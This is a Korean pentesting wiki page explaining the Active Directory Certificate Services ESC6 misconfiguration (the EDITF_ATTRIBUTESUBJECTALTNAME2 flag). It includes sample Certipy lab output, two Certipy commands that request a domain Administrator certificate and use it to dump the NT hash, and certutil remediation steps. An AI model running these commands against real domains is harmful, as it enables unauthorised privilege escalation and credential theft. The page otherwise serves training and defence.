펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • 대응 방법
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC6

해당 취약점은 2022년 5월 Microsoft 보안 업데이트를 통해 패치되었습니다.

SAN(Subject Alt Name)은 X.509 인증서의 확장 필드로, 하나의 SSL/TLS 인증서에 여러개의 도메인 이름, IP 주소 등을 추가로 지정할 수 있도록 하는 필드입니다. 쉽게 말하여 하나의 인증서에 여러개의 도메인 등을 등록하여, 여러 인증서를 발급하는 것 대신 하나의 인증서를 통해 여러 도메인을 신뢰할 수 있으며, 이를 통해 관리적 차원과 보안 측면에서 이점을 얻을 수 있습니다.

AD CS 인증서 요청을 위한 템플릿에 SAN이 포함되어 있는 경우, 공격자는 이를 악용하여 SAN 필드에 도메인 컨트롤러 관리자 등의 정보를 삽입하여 권한 상승을 시도할 수 있습니다. 하지만 기본적으로 AD CS에서 템플릿에는 SAN 필드 확장이 없습니다.

EDITF_ATTRIBUTESUBJECTALTNAME2 플래그가 허용된 경우 요청자는 인증 기관에 인증서를 요청하는 동안 이름/값 조합을 통해 인증 기관에 추가 속성을 전달할 수 있습니다. 중요한 것은 SAN 필드 확장이 없는 상태에서, AD CS에 EDITF_ATTRIBUTESUBJECTALTNAME2 플래그가 설정되었고, SAN을 CSR(Certificate Signing Request)에서 지정하도록 허용하는 템플릿이 있을 경우 클라이언트는 누구나 다른 객체의 인증서를 발급할 수 있습니다. CSR에서 SAN을 허용하는 템플릿은 AD CS 내장 템플릿인 User가 있습니다.

Certipy-ad를 통해서 취약한 인증서를 확인할 때, SAN 필드 확장이 되어있지 않더라도, 해당 플래그가 설정되어 있다면 User Specified SAN으로 표시됩니다.

Certificate Authorities                                                                                               
  0                                                                                                                   
    CA Name                             : lab-LAB-DC-CA                                                               
    DNS Name                            : LAB-DC.lab.local                                                            
    Certificate Subject                 : CN=lab-LAB-DC-CA, DC=lab, DC=local                                          
    Certificate Serial Number           : 16BD1CE8853DB8B5488A16757CA7C101                                            
    Certificate Validity Start          : 2022-03-26 00:07:46+00:00                                                   
    Certificate Validity End            : 2027-03-26 00:17:46+00:00                                                   
    Web Enrollment                      : Enabled                                                                     
    User Specified SAN                  : Enabled                                                                     
    Request Disposition                 : Issue                                                                       
    Enforce Encryption for Requests     : Disabled                                                                    
    Permissions                                                                                                       
      Owner                             : LAB.LOCAL\Administrators                                                    
      Access Rights                                                                                                   
        Enroll                          : LAB.LOCAL\Authenticated Users                                               
                                          LAB.LOCAL\Black Wasp                                                        
                                          LAB.LOCAL\James                                                             
                                          LAB.LOCAL\user_manageCA                                                                                                                                                                           
                                          LAB.LOCAL\Juanmy                                                            
                                          LAB.LOCAL\Josy                                                              
        ManageCa                        : LAB.LOCAL\Black Wasp                                                        
                                          LAB.LOCAL\James                                                             
                                          LAB.LOCAL\user_manageCA                                                     
                                          LAB.LOCAL\Juanmy                                                            
                                          LAB.LOCAL\Domain Admins                                                     
                                          LAB.LOCAL\Enterprise Admins                                                 
                                          LAB.LOCAL\Administrators                                                    
        ManageCertificates              : LAB.LOCAL\Josy                                                              
                                          LAB.LOCAL\Domain Admins                                                                                                                                                                           
                                          LAB.LOCAL\Enterprise Admins                                                 
                                          LAB.LOCAL\Administrators                                                    
    [!] Vulnerabilities                                                                                               
      ESC6                              : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022

Practice

# User 템플릿을 사용하여 DC 관리자 인증서 발급 요청
certipy-ad req -u <USER> -p <PASS> -ca <CA> -template User -dc-ip <dc-ip> -upn Administrator@<Domain>

# 발급한 DC 관리자 인증서를 통한 NT Hash 덤핑
certipy-ad auth -pfx <PFX File> -domain <Domain>

대응 방법

# 윈도우 명령 프롬포트를 통해 취약한 플래그 해제
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

# 인증서비스 재시작
net stop certsvc & net start certsvc

References

PreviousESC5NextESC7

Last updated 1 month ago

Was this helpful?

Edit vulnerable Certificate Authority setting (ESC6) - Microsoft Defender for IdentityMicrosoftLearn
https://academy.hackthebox.com/module/236/section/2544academy.hackthebox.com
Logo
Risk to the Active Directory overall structure through the EDITF_ATTRIBUTESUBJECTALTNAME2 flag - Uwe Gradenegger
Logo